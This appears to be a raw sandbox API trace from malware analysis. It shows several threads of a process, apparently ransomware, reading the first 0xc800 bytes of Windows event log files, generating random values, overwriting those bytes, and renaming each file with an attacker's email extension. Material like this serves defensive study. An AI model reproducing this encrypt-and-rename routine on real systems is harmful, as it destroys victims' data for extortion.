	[0081.403] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a3810
	[0081.406] SetFilePointerEx (in: hFile=0x1418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.406] ReadFile (in: hFile=0x1418, lpBuffer=0x48a3810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1123fc28, lpOverlapped=0x0 | out: lpBuffer=0x48a3810*, lpNumberOfBytesRead=0x1123fc28*=0xc800, lpOverlapped=0x0) returned 1
	[0081.407] SetFilePointerEx (in: hFile=0x1418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.407] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.407] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.407] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b40
	[0081.407] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b40) returned 1
	[0081.408] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f61fb0
	[0081.411] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33988
	[0081.411] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.412] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.412] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.412] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.412] WriteFile (in: hFile=0x1418, lpBuffer=0x4f61fb0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1123fc28, lpOverlapped=0x0 | out: lpBuffer=0x4f61fb0*, lpNumberOfBytesWritten=0x1123fc28*=0xc800, lpOverlapped=0x0) returned 1
	[0081.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f61fb0) returned 1
	[0081.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a3810) returned 1
	[0081.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x69) returned 0x2e04c48
	[0081.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b40
	[0081.413] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b40) returned 1
	[0081.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x69) returned 0x2e045b8
	[0081.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339b0
	[0081.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33910
	[0081.414] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33910) returned 1
	[0081.414] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.414] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.414] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14d) returned 0x2dc3d68
	[0081.414] SetFilePointerEx (in: hFile=0x1418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.414] WriteFile (in: hFile=0x1418, lpBuffer=0x2dc3d68*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0x1123fca8, lpOverlapped=0x0 | out: lpBuffer=0x2dc3d68*, lpNumberOfBytesWritten=0x1123fca8*=0x14d, lpOverlapped=0x0) returned 1
	[0081.415] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc3d68) returned 1
	[0081.415] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0081.415] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339b0) returned 1
	[0081.415] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04c48) returned 1
	[0081.415] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33988) returned 1
	[0081.415] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33bb8) returned 1
	[0081.416] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33af0) returned 1
	[0081.416] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e338c0) returned 1
	[0081.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x476b468
	[0081.416] wcscpy (in: _Dest=0x476b468, _Source="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx"
	[0081.416] wcscat (in: _Dest=0x476b468, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.416] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1123fc60, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x46a4960
	[0081.416] NtSetInformationFile (FileHandle=0x1418, IoStatusBlock=0x1123fc58, FileInformation=0x46a4960, Length=0xca, FileInformationClass=0xa) returned 0x0
	[0087.775] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a4960) returned 1
	[0087.775] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476c3b0) returned 1
	[0087.775] NtQueryInformationFile (in: FileHandle=0x1418, IoStatusBlock=0x1123fc6c, FileInformation=0x1123fc44, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1123fc6c, FileInformation=0x1123fc44) returned 0x0
	[0087.775] NtSetInformationFile (FileHandle=0x1418, IoStatusBlock=0x1123fc6c, FileInformation=0x1123fc44, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476b468) returned 1
	[0087.778] FlushFileBuffers (hFile=0x1418) returned 1
	[0092.883] CloseHandle (hObject=0x1418) 

Thread:
	id = 420
	os_tid = 0x15b8

	[0076.958] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20
	[0080.448] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.449] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9d8
	[0080.449] GetFileSizeEx (in: hFile=0x9d8, lpFileSize=0x112bfc94 | out: lpFileSize=0x112bfc94*=69632) returned 1
	[0080.449] SetFilePointerEx (in: hFile=0x9d8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.449] ReadFile (in: hFile=0x9d8, lpBuffer=0x112bfc18, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x112bfc14, lpOverlapped=0x0 | out: lpBuffer=0x112bfc18*, lpNumberOfBytesRead=0x112bfc14*=0x4, lpOverlapped=0x0) returned 1
	[0080.586] SetFilePointerEx (in: hFile=0x9d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.586] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.586] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0080.586] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781878
	[0080.586] NtQuerySystemTime (in: CurrentTime=0x112bfbf4 | out: CurrentTime=0x112bfbf4*=132251868073276246) returned 0x0
	[0080.586] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x7d391ab2
	[0080.586] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x100aab76
	[0080.586] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x6f6ea10a
	[0080.586] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x72e31da9
	[0080.586] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0xbc75e5c3
	[0080.586] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x5dc3c8d
	[0080.586] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x18feec31
	[0080.586] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x8111ff0f
	[0080.586] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x66b5ba3e
	[0080.586] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x1ea4a0d9
	[0080.586] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0xc073e2ed
	[0080.586] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0xb59f6cb5
	[0080.586] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x819832cd
	[0080.586] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0xee5338f6
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x2378dce1
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x631be493
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0xa1874386
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0xafe56f32
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0xeecada82
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x5d779514
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x192660bd
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0xc5138ca2
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0xc382cf5d
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x76fb4e08
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x38114e39
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0xec1d4f6f
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x76c9e643
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x7a1678c1
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0xe3d631f5
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0x5f32c36f
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0xc5d5bf8a
	[0080.587] RtlRandom (in: Seed=0x112bfc00 | out: Seed=0x112bfc00) returned 0xd91d8791
	[0080.594] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781af8
	[0080.595] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.595] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0080.595] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0080.596] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.596] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x495f028
	[0080.598] SetFilePointerEx (in: hFile=0x9d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.598] ReadFile (in: hFile=0x9d8, lpBuffer=0x495f028, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x112bfbd4, lpOverlapped=0x0 | out: lpBuffer=0x495f028*, lpNumberOfBytesRead=0x112bfbd4*=0xc800, lpOverlapped=0x0) returned 1
	[0081.009] SetFilePointerEx (in: hFile=0x9d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753f20
	[0081.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d6e250
	[0081.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6e250) returned 1
	[0081.010] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x486a838
	[0081.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d6e250
	[0081.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0081.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0081.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753f20) returned 1
	[0081.015] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.016] WriteFile (in: hFile=0x9d8, lpBuffer=0x486a838*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x112bfbd4, lpOverlapped=0x0 | out: lpBuffer=0x486a838*, lpNumberOfBytesWritten=0x112bfbd4*=0xc800, lpOverlapped=0x0) returned 1
	[0084.684] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x486a838) returned 1
	[0084.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x495f028) returned 1
	[0084.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x67) returned 0x47ec9d0
	[0084.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34618) returned 1
	[0084.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x67) returned 0x47ecd50
	[0084.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34730
	[0084.688] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34528
	[0084.688] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0084.689] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.689] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb660) returned 1
	[0084.689] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14b) returned 0x2d5c040
	[0084.689] SetFilePointerEx (in: hFile=0x9d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.689] WriteFile (in: hFile=0x9d8, lpBuffer=0x2d5c040*, nNumberOfBytesToWrite=0x14b, lpNumberOfBytesWritten=0x112bfc54, lpOverlapped=0x0 | out: lpBuffer=0x2d5c040*, lpNumberOfBytesWritten=0x112bfc54*=0x14b, lpOverlapped=0x0) returned 1
	[0084.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c040) returned 1
	[0084.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecd50) returned 1
	[0084.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34730) returned 1
	[0084.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec9d0) returned 1
	[0084.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6e250) returned 1
	[0084.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ad0) returned 1
	[0084.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781af8) returned 1
	[0084.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0084.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4f2df20
	[0084.691] wcscpy (in: _Dest=0x4f2df20, _Source="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx"
	[0084.691] wcscat (in: _Dest=0x4f2df20, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.691] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x112bfc0c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47196d0
	[0084.691] NtSetInformationFile (FileHandle=0x9d8, IoStatusBlock=0x112bfc04, FileInformation=0x47196d0, Length=0xc8, FileInformationClass=0xa) returned 0x0
	[0087.786] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47196d0) returned 1
	[0087.786] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925838) returned 1
	[0087.786] NtQueryInformationFile (in: FileHandle=0x9d8, IoStatusBlock=0x112bfc18, FileInformation=0x112bfbf0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x112bfc18, FileInformation=0x112bfbf0) returned 0x0
	[0087.786] NtSetInformationFile (FileHandle=0x9d8, IoStatusBlock=0x112bfc18, FileInformation=0x112bfbf0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.798] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2df20) returned 1
	[0087.798] FlushFileBuffers (hFile=0x9d8) returned 1
	[0092.916] CloseHandle (hObject=0x9d8) 

Thread:
	id = 421
	os_tid = 0x15bc

	[0076.959] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20
	[0080.280] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx", dwFileAttributes=0x20) returned 1
	[0080.280] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x968
	[0080.280] GetFileSizeEx (in: hFile=0x968, lpFileSize=0x1133f894 | out: lpFileSize=0x1133f894*=69632) returned 1
	[0080.280] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.280] ReadFile (in: hFile=0x968, lpBuffer=0x1133f818, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1133f814, lpOverlapped=0x0 | out: lpBuffer=0x1133f818*, lpNumberOfBytesRead=0x1133f814*=0x4, lpOverlapped=0x0) returned 1
	[0080.287] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.288] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.288] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781760
	[0080.288] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0080.288] NtQuerySystemTime (in: CurrentTime=0x1133f7f4 | out: CurrentTime=0x1133f7f4*=132251868070306775) returned 0x0
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0xd29ddfc
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x46eb5b3b
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x45f0dc77
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0xfd345643
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x2c216f8d
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x2427e810
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0xca513924
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x508c20c5
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x6dbe32c6
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x93f8d044
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x2b4b2199
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0xed1e645
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x1b816a66
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0xffc09499
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0xf2dd97db
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x5924cf8a
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x9d59a6bd
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0xb56c71cd
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x2ef788c9
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x75c1d66a
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0xe0f33177
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x85581163
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x2faae612
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x63c37018
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x7f8f6132
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x9c7bc7dc
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0xd65dfa96
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0xbad3c925
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0xe13f0633
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x6edb6eef
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x3cccfc5f
	[0080.288] RtlRandom (in: Seed=0x1133f800 | out: Seed=0x1133f800) returned 0x72ec5350
	[0080.295] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0080.297] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.297] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781468
	[0080.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0080.297] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.297] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4eeb010
	[0080.300] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.300] ReadFile (in: hFile=0x968, lpBuffer=0x4eeb010, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1133f7d4, lpOverlapped=0x0 | out: lpBuffer=0x4eeb010*, lpNumberOfBytesRead=0x1133f7d4*=0xc800, lpOverlapped=0x0) returned 1
	[0080.301] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.301] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0080.301] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754010
	[0080.301] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0080.301] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0080.302] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4698050
	[0080.305] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0080.305] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0080.305] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0080.305] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754010) returned 1
	[0080.305] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0080.305] WriteFile (in: hFile=0x968, lpBuffer=0x4698050*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1133f7d4, lpOverlapped=0x0 | out: lpBuffer=0x4698050*, lpNumberOfBytesWritten=0x1133f7d4*=0xc800, lpOverlapped=0x0) returned 1
	[0080.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4698050) returned 1
	[0080.307] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4eeb010) returned 1
